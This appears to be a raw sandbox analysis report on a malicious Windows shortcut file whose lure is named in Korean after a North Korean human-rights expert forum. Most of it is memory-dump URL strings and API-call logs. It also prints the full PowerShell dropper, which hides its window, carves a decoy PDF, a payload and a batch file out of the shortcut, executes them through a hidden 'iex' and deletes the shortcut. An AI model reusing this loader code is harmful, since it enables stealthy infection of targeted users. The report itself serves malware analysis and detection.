"http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00008260.00000000.119842.02C30000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00008260.00000000.119842.02C30000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00008260.00000000.119842.02C30000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00008260.00000000.119842.02C30000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00008260.00000000.119842.02C30000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00008260.00000000.119842.02C30000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00008260.00000000.119842.02C30000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00008260.00000000.119842.02C30000.00000004.mdmp") Found URL "http://g1.symcb.com/crls/gtglobal.crl0/" - Source: "00000000-00008260.00000000.119842.02C30000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-53902ol!o!yj>9iqmgvw,czcaucooe:j9_($nnew" - Source: "00000000-00008260.00000000.119842.02C30000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00008260.00000000.119842.02C30000.00000004.mdmp") Found URL "http://crl.comodoca.com/aaacertificateservices.crl060http://crl.comodo.net/aaacertificateservices.crl0l7u" - Source: "00000000-00008260.00000000.119842.02C30000.00000004.mdmp") Found URL "http://repository.swisssign.com/02z" - Source: "00000000-00008260.00000000.119842.02C30000.00000004.mdmp") Found URL "http://www.microsoft.com0gt:(y<%qtz-r9lv<;7=_somj," - Source: "00000000-00008260.00000000.119842.02C30000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00008260.00000000.119842.02E20000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00008260.00000000.119842.02E20000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0ta[17iusai:" - Source: "00000000-00008260.00000000.119842.07362000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00008260.00000000.119842.07362000.00000004.mdmp") Found URL "http://www.microsoft.com0gt:(y<%qtz-r9lv<;7=_somj," - Source: "00000000-00008260.00000000.119842.07362000.00000004.mdmp") Found URL "http://crl)ft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/m9ca2011_2011-03-29.crt0iusai:" - Source: "00000000-00008260.00000000.119842.07362000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00008260.00000000.119842.07362000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00008260.00000001.121764.02C30000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00008260.00000001.121764.02C30000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00008260.00000001.121764.02C30000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00008260.00000001.121764.02C30000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00008260.00000001.121764.02C30000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00008260.00000001.121764.02C30000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00008260.00000001.121764.02C30000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00008260.00000001.121764.02C30000.00000004.mdmp") Found URL "http://g1.symcb.com/crls/gtglobal.crl0/" - Source: "00000000-00008260.00000001.121764.02C30000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-53902ol!o!yj>9iqmgvw,czcaucooe:j9_($nnew" - Source: "00000000-00008260.00000001.121764.02C30000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00008260.00000001.121764.02C30000.00000004.mdmp") Found URL "http://crl.comodoca.com/aaacertificateservices.crl060http://crl.comodo.net/aaacertificateservices.crl0l7u" - Source: "00000000-00008260.00000001.121764.02C30000.00000004.mdmp") Found URL "http://repository.swisssign.com/02z" - Source: "00000000-00008260.00000001.121764.02C30000.00000004.mdmp") Found URL "http://www.microsoft.com0gt:(y<%qtz-r9lv<;7=_somj," - Source: "00000000-00008260.00000001.121764.02C30000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreport.0.0.0.0.0.0re" - Source: "00000000-00008260.00000001.121764.02E20000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsgnt01http://www.microsoft.com/pki/docs/cps/defaul(?nl(?n4(?n4(?n$" - Source: "00000000-00008260.00000001.121764.02E20000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0ta[17iusai:" - Source: "00000000-00008260.00000001.121764.07362000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00008260.00000001.121764.07362000.00000004.mdmp") Found URL "http://www.microsoft.com0gt:(y<%qtz-r9lv<;7=_somj," - Source: "00000000-00008260.00000001.121764.07362000.00000004.mdmp") Found URL "http://crl)ft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/m9ca2011_2011-03-29.crt0iusai:" - Source: "00000000-00008260.00000001.121764.07362000.00000004.mdmp") Found URL "http://www.microsoft.com/powershell" - Source: "00000000-00008260.00000001.121764.07362000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00008260.00000001.121764.07362000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsofttimestamppca.crl0xl0j0hhttp://www.microsoft.com/pki/certs/miccodsigpca_08-31-2010.crt0(" - Source: "00000000-00008260.00000001.121764.07362000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropa5" - Source: "00000000-00008260.00000001.121764.07362000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00008260.00000001.121764.09610000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0f" - Source: "00000000-00008260.00000001.121764.6F1A1000.00000020.mdmp")4c:T7d3,Process "powershell.exe" with commandline "C:\\Windows\\SysWow64\\WindowsPowerShell\\v1.0\\powershell.exe "$t1 = 'user32.dll';$t = 'using System; using System.Runtime.InteropServices; public class User32 {[DllImport(' + [System.Text.Encoding]::UTF8.GetString(34) + $t1 + [System.Text.Encoding]::UTF8.GetString(34) + ', SetLastError = true)]public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);[DllImport(' + [System.Text.Encoding]::UTF8.GetString(34) + $t1 + [System.Text.Encoding]::UTF8.GetString(34) + ')] [return: MarshalAs(UnmanagedType.Bool)] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); }'; Add-Type -TypeDefinition $t;$proName = 'cmd.exe'; $cmdMainWindowHandle = [User32]::FindWindow([NullString]::Value, $proName);[User32]::ShowWindow($cmdMainWindowHandle, 0);$dirPath = Get-Location; if($dirPath -Match 'System32' -or $dirPath -Match 'Program Files') {$dirPath = 'C:\\Users\\HAPUBWS\\AppData\\Local\\Temp'}; $lnkPath = Get-ChildItem -Path $dirPath -Recurse *.lnk | where-object {$_.length -eq 0x032AC1C5} | Select-Object -ExpandProperty FullName;$lnkFile=New-Object System.IO.FileStream($lnkPath, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read);$lnkFile.Seek(0x000018FA, [System.IO.SeekOrigin]::Begin);$pdfFile=New-Object byte[] 0x0000B370;$lnkFile.Read($pdfFile, 0, 0x0000B370);$pdfPath = $lnkPath.replace('.lnk','.pdf');sc $pdfPath $pdfFile -Encoding Byte;& $pdfPath;$lnkFile.Seek(0x0000CC6A,[System.IO.SeekOrigin]::Begin);$exeFile=New-Object byte[] 0x00000C03;$lnkFile.Read($exeFile, 0, 0x00000C03);$exePath=$env:public+'\\'+'public.dat';sc $exePath $exeFile -Encoding Byte;$lnkFile.Seek(0x0000D86D,[System.IO.SeekOrigin]::Begin);$batFile=New-Object byte[] 0x000000FA;$lnkFile.Read($batFile, 0, 0x000000FA);$batPath=$env:public+'\\'+'\ubd81\ud55c\uc778\uad8c \uc804\ubb38\uac00 \ud1a0\ub860\ud68c061223.bat';sc $batPath $batFile -Encoding Byte;& $batPath;$lnkFile.Close();remove-item -path $lnkPath -force;"" (UID: 00000000-00008260)4d:T1592,Process "powershell.exe" with commandline "C:\\Windows\\SysWow64\\WindowsPowerShell\\v1.0\\powershell.exe "$t1 = 'user32.dll';$t = 'using System; using System.Runtime.InteropServices; public class User32 {[DllImport(' + [System.Text.Encoding]::UTF8.GetString(34) + $t1 + [System.Text.Encoding]::UTF8.GetString(34) + ', SetLastError = true)]public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);[DllImport(' + [System.Text.Encoding]::UTF8.GetString(34) + $t1 + [System.Text.Encoding]::UTF8.GetString(34) + ')] [return: MarshalAs(UnmanagedType.Bool)] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); }'; Add-Type -TypeDefinition $t;$proName = 'cmd.exe'; $cmdMainWindowHandle = [User32]::FindWindow([NullString]::Value, $proName);[User32]::ShowWindow($cmdMainWindowHandle, 0);$dirPath = Get-Location; if($dirPath -Match 'System32' -or $dirPath -Match 'Program Files') {$dirPath = 'C:\\Users\\HAPUBWS\\AppData\\Local\\Temp'}; $lnkPath = Get-ChildItem -Path $dirPath -Recurse *.lnk | where-object {$_.length -eq 0x032AC1C5} | Select-Object -ExpandProperty FullName;$lnkFile=New-Object System.IO.FileStream($lnkPath, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read);$lnkFile.Seek(0x000018FA, [System.IO.SeekOrigin]::Begin);$pdfFile=New-Object byte[] 0x0000B370;$lnkFile.Read($pdfFile, 0, 0x0000B370);$pdfPath = $lnkPath.replace('.lnk','.pdf');sc $pdfPath $pdfFile -Encoding Byte;& $pdfPath;$lnkFile.Seek(0x0000CC6A,[System.IO.SeekOrigin]::Begin);$exeFile=New-Object byte[] 0x00000C03;$lnkFile.Read($exeFile, 0, 0x00000C03);$exePath=$env:public+'\\'+'public.dat';sc $exePath $exeFile -Encoding Byte;$lnkFile.Seek(0x0000D86D,[System.IO.SeekOrigin]::Begin);$batFile=New-Object byte[] 0x000000FA;$lnkFile.Read($batFile, 0, 0x000000FA);$batPath=$env:public+'\\'+'\ubd81\ud55c\uc778\uad8c \uc804\ubb38\uac00 \ud1a0\ub860\ud68c061223.bat';sc $batPath $batFile -Encoding Byte;& $batPath;$lnkFile.Close();remove-item -path $lnkPath -force;"" (UID: 00000000-00008260, Additional Context: "Add-Type -TypeDefinition using System; using System.Runtime.InteropServices; public class User32 {[DllImport(' + [System.Text.Encoding]::UTF8.GetString(34) + user32.dll + [System.Text.Encoding]::UTF8.GetString(34) + ', SetLastError = true)]public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);[DllImport(' + [System.Text.Encoding]::UTF8.GetString(34) + user32.dll + [System.Text.Encoding]::UTF8.GetString(34) + ')] [return: MarshalAs(UnmanagedType.Bool)] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); }[User32]::ShowWindow([User32]::FindWindow([NullString]::Value, cmd.exe), 0)if(Get -Location -Match 'System32' -or Get -Location -Match 'Program Files') {Get -Location = 'C:\Users\HAPUBWS\AppData\Local\Temp'}System.IO.FileStream(Get -ChildItem -Path Get -Location -Recurse *.lnk | where -object {$_.length -eq 0x032AC1C5} | Select -Object -ExpandProperty FullName, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read).Seek(0x000018FA, [System.IO.SeekOrigin]::Begin)System.IO.FileStream(Get -ChildItem -Path Get -Location -Recurse *.lnk | where -object {$_.length -eq 0x032AC1C5} | Select -Object -ExpandProperty FullName, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read).Read(byte[] 0x0000B370, 0, 0x0000B370)sc Get -ChildItem -Path Get -Location -Recurse *.lnk | where -object {$_.length -eq 0x032AC1C5} | Select -Object -ExpandProperty FullName.replace('.lnk','.pdf') byte[] 0x0000B370 -Encoding Byte& Get -ChildItem -Path Get -Location -Recurse *.lnk | where -object {$_.length -eq 0x032AC1C5} | Select -Object -ExpandProperty FullName.replace('.lnk','.pdf')System.IO.FileStream(Get -ChildItem -Path Get -Location -Recurse *.lnk | where -object {$_.length -eq 0x032AC1C5} | Select -Object -ExpandProperty FullName, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read).Seek(0x0000CC6A,[System.IO.SeekOrigin]::Begin)System.IO.FileStream(Get -ChildItem -Path Get -Location -Recurse *.lnk | where -object {$_.length -eq 0x032AC1C5} | Select -Object -ExpandProperty FullName, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read).Read(byte[] 0x00000C03, 0, 0x00000C03)sc C:\Users\Public\public.dat byte[] 0x00000C03 -Encoding ByteSystem.IO.FileStream(Get -ChildItem -Path Get -Location -Recurse *.lnk | where -object {$_.length -eq 0x032AC1C5} | Select -Object -ExpandProperty FullName, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read).Seek(0x0000D86D,[System.IO.SeekOrigin]::Begin)System.IO.FileStream(Get -ChildItem -Path Get -Location -Recurse *.lnk | where -object {$_.length -eq 0x032AC1C5} | Select -Object -ExpandProperty FullName, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read).Read(byte[] 0x000000FA, 0, 0x000000FA)sc C:\Users\Public\북한인권 전문가 토론회061223.bat byte[] 0x000000FA -Encoding Byte& C:\Users\Public\북한인권 전문가 토론회061223.batSystem.IO.FileStream(Get -ChildItem -Path Get -Location -Recurse *.lnk | where -object {$_.length -eq 0x032AC1C5} | Select -Object -ExpandProperty FullName, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read).Close()remove-item -path Get -ChildItem -Path Get -Location -Recurse *.lnk | where -object {$_.length -eq 0x032AC1C5} | Select -Object -ExpandProperty FullName -force;"), Process "powershell.exe" with commandline "-windowstyle hidden $content = Get-Content -path "%PUBLIC%\\public.dat" -Encoding Byte;$exeStr=[System.Text.Encoding]::UTF8.GetString($content);Write-Host $exeStr;iex $exeStr;" (UID: 00000000-00004464)4e:T99c,"powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00008260) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework\\* (UID: 00000000-00008260) "powershell.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00008260) "powershell.exe" called "FindNextFileW" with parameter NETFXSBS10.exe (UID: 00000000-00008260) "powershell.exe" called "FindNextFileW" with parameter netfxsbs12.hkf (UID: 00000000-00008260) "powershell.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00008260) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00008260) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00008260) "powershell.exe" called "FindNextFileW" with parameter sbs_diasymreader.dll (UID: 00000000-00008260) "powershell.exe" called "FindNextFileW" with parameter sbs_iehost.dll (UID: 00000000-00008260) "powershell.exe" called "FindNextFileW" with parameter sbs_microsoft.jscript.dll (UID: 00000000-00008260) "powershell.exe" called "FindNextFileW" with parameter sbs_microsoft.vsa.vb.codedomprocessor.dll (UID: 00000000-00008260) "powershell.exe" called "FindNextFileW" with parameter sbs_mscordbi.dll (UID: 00000000-00008260) "powershell.exe" called "FindNextFileW" with parameter sbs_mscorrc.dll (UID: 00000000-00008260) "powershell.exe" called "FindNextFileW" with parameter sbs_mscorsec.dll (UID: 00000000-00008260) "powershell.exe" called "FindNextFileW" with parameter sbs_system.configuration.install.dll (UID: 00000000-00008260) "powershell.exe" called "FindNextFileW" with parameter sbs_system.data.dll (UID: 00000000-00008260) "powershell.exe" called "FindNextFileW" with parameter sbs_system.enterpriseservices.dll (UID: 00000000-00008260) "powershell.exe" called "FindNextFileW" with parameter sbs_VsaVb7rt.dll (UID: 00000000-00008260) "powershell.exe" called "FindNextFileW" with parameter sbs_wminet_utils.dll (UID: 00000000-00008260) "powershell.exe" called "FindNextFileW" with parameter SharedReg12.dll (UID: 00000000-00008260) "powershell.exe" called "FindNextFileW" with parameter v1.0.3705 (UID: 00000000-00008260) "powershell.exe" called "FindNextFileW" with parameter v1.1.4322 (UID: 00000000-00008260) "powershell.exe" called "FindNextFileW" with parameter v2.0.50727 (UID: 00000000-00008260)4f:T1566,Found string "System.IO.Compression.ZipFile" (Indicator: "zipfile"; Source: "00000000-00004464.00000000.123003.00311000.00000020.mdmp") Found string "System.Security.Cryptography.Algorithms" (Indicator: "System.Security.Cryptography"; Source: "00000000-00004464.00000000.123003.00311000.00000020.mdmp") Found string "System.Security.Cryptography.Cng" (Indicator: "System.Security.Cryptography"; Source: "00000000-00004464.00000000.123003.00311000.00000020.mdmp") Found string "System.Security.Cryptography.Csp" (Indicator: "System.Security.Cryptography"; Source: "00000000-00004464.00000000.123003.00311000.00000020.mdmp") Found string "System.Security.Cryptography.Encoding" (Indicator: "System.Security.Cryptography"; Source: "00000000-00004464.00000000.123003.00311000.00000020.mdmp") Found string "System.Security.Cryptography.OpenSsl" (Indicator: "System.Security.Cryptography"; Source: "00000000-00004464.00000000.123003.00311000.00000020.mdmp") Found string "System.Security.Cryptography.Pkcs" (Indicator: "System.Security.Cryptography"; Source: "00000000-00004464.00000000.123003.00311000.00000020.mdmp") Found string "System.Security.Cryptography.Primitives" (Indicator: "System.Security.Cryptography"; Source: "00000000-00004464.00000000.123003.00311000.00000020.mdmp") Found string "System.Security.Cryptography.X509Certificates" (Indicator: "System.Security.Cryptography"; Source: "00000000-00004464.00000000.123003.00311000.00000020.mdmp") Found string "ECDSA" (Indicator: "ecdsa"; Source: "00000000-00004464.00000001.124922.026C0000.00000004.mdmp, 00000000-00004464.00000001.124922.06DF2000.00000004.mdmp, 00000000-00004464.00000002.126844.026C0000.00000004.mdmp, 00000000-00004464.00000002.126844.06DF2000.00000004.mdmp") Found string "icrosoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00004464.00000001.124922.026C0000.00000004.mdmp, 00000000-00004464.00000002.126844.026C0000.00000004.mdmp") Found string "Microsoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00004464.00000001.124922.026C0000.00000004.mdmp, 00000000-00004464.00000001.124922.06DF2000.00000004.mdmp, 00000000-00004464.00000002.126844.026C0000.00000004.mdmp, 00000000-00004464.00000002.126844.06DF2000.00000004.mdmp") Found string "description="Uses RsaCryptoServiceProvider to encrypt and decrypt"" (Indicator: "RsaCryptoServiceProvider"; Source: "00000000-00004464.00000001.124922.081F0000.00000004.mdmp, 00000000-00004464.00000002.126844.081F0000.00000004.mdmp") Found string "system.security.cryptography" (Indicator: "System.Security.Cryptography"; Source: "00000000-00004464.00000001.124922.08430000.00000004.mdmp, 00000000-00004464.00000001.124922.08470000.00000004.mdmp, 00000000-00004464.00000001.124922.09480000.00000004.mdmp, 00000000-00004464.00000002.126844.08130000.00000004.mdmp, 00000000-00004464.00000002.126844.08410000.00000004.mdmp, 00000000-00004464.00000002.126844.08460000.00000004.mdmp, 00000000-00004464.00000002.126844.08490000.00000004.mdmp") Found string "system.security.cryptography.x509certificates" (Indicator: "System.Security.Cryptography"; Source: "00000000-00004464.00000001.124922.08430000.00000004.mdmp, 00000000-00004464.00000001.124922.08470000.00000004.mdmp, 00000000-00004464.00000002.126844.08130000.00000004.mdmp, 00000000-00004464.00000002.126844.08410000.00000004.mdmp, 00000000-00004464.00000002.126844.08460000.00000004.mdmp, 00000000-00004464.00000002.126844.08490000.00000004.mdmp") Found string "frombase64transformmode" (Indicator: "base64"; Source: "00000000-00004464.00000001.124922.08430000.00000004.mdmp") Found string "psrsacryptoserviceprovider" (Indicator: "RsaCryptoServiceProvider"; Source: "00000000-00004464.00000001.124922.08470000.00000004.mdmp") Found string "stringtobase64converter" (Indicator: "base64"; Source: "00000000-00004464.00000001.124922.08470000.00000004.mdmp") Found string "aescng" (Indicator: "aes"; Source: "00000000-00004464.00000001.124922.08470000.00000004.mdmp") Found string "aesbcryptmodes" (Indicator: "aes"; Source: "00000000-00004464.00000001.124922.08470000.00000004.mdmp") Found string "sqlaeadaes256cbchmac256factory" (Indicator: "aes"; Source: "00000000-00004464.00000001.124922.084C0000.00000004.mdmp") Found string "sqlaeadaes256cbchmac256factory" (Indicator: "aes256"; Source: "00000000-00004464.00000001.124922.084C0000.00000004.mdmp") Found string "sqlaeadaes256cbchmac256encryptionkey" (Indicator: "aes"; Source: "00000000-00004464.00000001.124922.084C0000.00000004.mdmp") Found string "sqlaeadaes256cbchmac256encryptionkey" (Indicator: "aes256"; Source: "00000000-00004464.00000001.124922.084C0000.00000004.mdmp") Found string "sqlaeadaes256cbchmac256algorithm" (Indicator: "aes"; Source: "00000000-00004464.00000001.124922.084C0000.00000004.mdmp") Found string "sqlaeadaes256cbchmac256algorithm" (Indicator: "aes256"; Source: "00000000-00004464.00000001.124922.084C0000.00000004.mdmp") Found string "sqlaes256cbcalgorithm" (Indicator: "aes"; Source: "00000000-00004464.00000001.124922.084C0000.00000004.mdmp") Found string "sqlaes256cbcalgorithm" (Indicator: "aes256"; Source: "00000000-00004464.00000001.124922.084C0000.00000004.mdmp") Found string "sqlaes256cbcfactory" (Indicator: "aes"; Source: "00000000-00004464.00000001.124922.084C0000.00000004.mdmp") Found string "sqlaes256cbcfactory" (Indicator: "aes256"; Source: "00000000-00004464.00000001.124922.084C0000.00000004.mdmp")50:T858,Found reference to API "$tempFilePath = [System.IO.Path]::GetTempFileName()" (Indicator: "GetTempFileName"; Source: "00000000-00004464.00000001.124922.081F0000.00000004.mdmp, 00000000-00004464.00000002.126844.081F0000.00000004.mdmp") Found reference to API "0GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00004464.00000001.124922.6F281000.00000020.mdmp") Found reference to API "0GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00004464.00000001.124922.6F281000.00000020.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00004464.00000001.124922.6F281000.00000020.mdmp, 00000000-00004464.00000002.126844.72041000.00000020.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00004464.00000001.124922.6F281000.00000020.mdmp, 00000000-00004464.00000002.126844.72041000.00000020.mdmp") Found reference to API "GetFileVersionInfoW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00004464.00000001.124922.6F281000.00000020.mdmp, 00000000-00004464.00000002.126844.72041000.00000020.mdmp") Found reference to API "GetFileVersionInfoExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00004464.00000001.124922.6F281000.00000020.mdmp, 00000000-00004464.00000002.126844.72041000.00000020.mdmp") Found reference to API "GetFileAttributesExW" (Indicator: "GetFileAttributes"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp, 00000000-00004464.00000002.126844.72055000.00000002.mdmp") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp, 00000000-00004464.00000002.126844.72055000.00000002.mdmp") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp, 00000000-00004464.00000002.126844.72055000.00000002.mdmp")51:Ta56,file/memory contains long string with (Indicator: "Get-Content"; File: "???????????? ???????? ???????.lnk") file/memory contains long string with (Indicator: "Get-ChildItem"; File: "???????????? ???????? ???????.lnk") file/memory contains long string with (Indicator: "Get-Location"; File: "???????????? ???????? ???????.lnk") Found string "start /min C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $content = Get-Content -path "c:\Users\Public\public.dat" -Encoding Byte;$exeStr=[System.Text.Encoding]::UTF8.GetString($content);Write-Host $exeStr;iex $exeStr;" (Indicator: "Get-Content"; File: "#Ubd81#Ud55c#Uc778#Uad8c #Uc804#Ubb38#Uac00 #Ud1a0#Ub860#Ud68c061223.bat") file/memory contains long string with (Indicator: "Get-ChildItem"; File: "cmd.exe") file/memory contains long string with (Indicator: "Get-Location"; File: "cmd.exe") file/memory contains long string with (Indicator: "Get-ChildItem"; File: "powershell.exe") file/memory contains long string with (Indicator: "Get-Location"; File: "powershell.exe") Found string "-windowstyle hidden $content = Get-Content -path "%PUBLIC%\public.dat" -Encoding Byte;$exeStr=[System.Text.Encoding]::UTF8.GetString($content);Write-Host $exeStr;iex $exeStr;" (Indicator: "Get-Content"; File: "powershell.exe") Found string "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $content = Get-Content -path "c:\Users\Public\public.dat" -Encoding Byte;$exeStr=[System.Text.Encoding]::UTF8.GetString($content);Write-Host $exeStr;iex $exeStr;" (Indicator: "Get-Content"; Source: "00000000-00004464.00000000.123003.026C0000.00000004.mdmp, 00000000-00004464.00000001.124922.026C0000.00000004.mdmp, 00000000-00004464.00000002.126844.026C0000.00000004.mdmp") Found string "Get-Content" (Indicator: "Get-Content"; Source: "00000000-00004464.00000000.123003.026C0000.00000004.mdmp, 00000000-00004464.00000000.123003.029D0000.00000004.mdmp, 00000000-00004464.00000000.123003.04360000.00000004.mdmp, 00000000-00004464.00000001.124922.026C0000.00000004.mdmp, 00000000-00004464.00000001.124922.029D0000.00000004.mdmp, 00000000-00004464.00000002.126844.026C0000.00000004.mdmp, 00000000-00004464.00000002.126844.029D0000.00000004.mdmp") Found string ":\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $content = Get-Content -path "c:\Users\Public\public.dat" -Encoding Byte;$exeStr=[System.Text.Encoding]::UTF8.GetString($content);Write-Host $exeStr;iex $exeStr;" 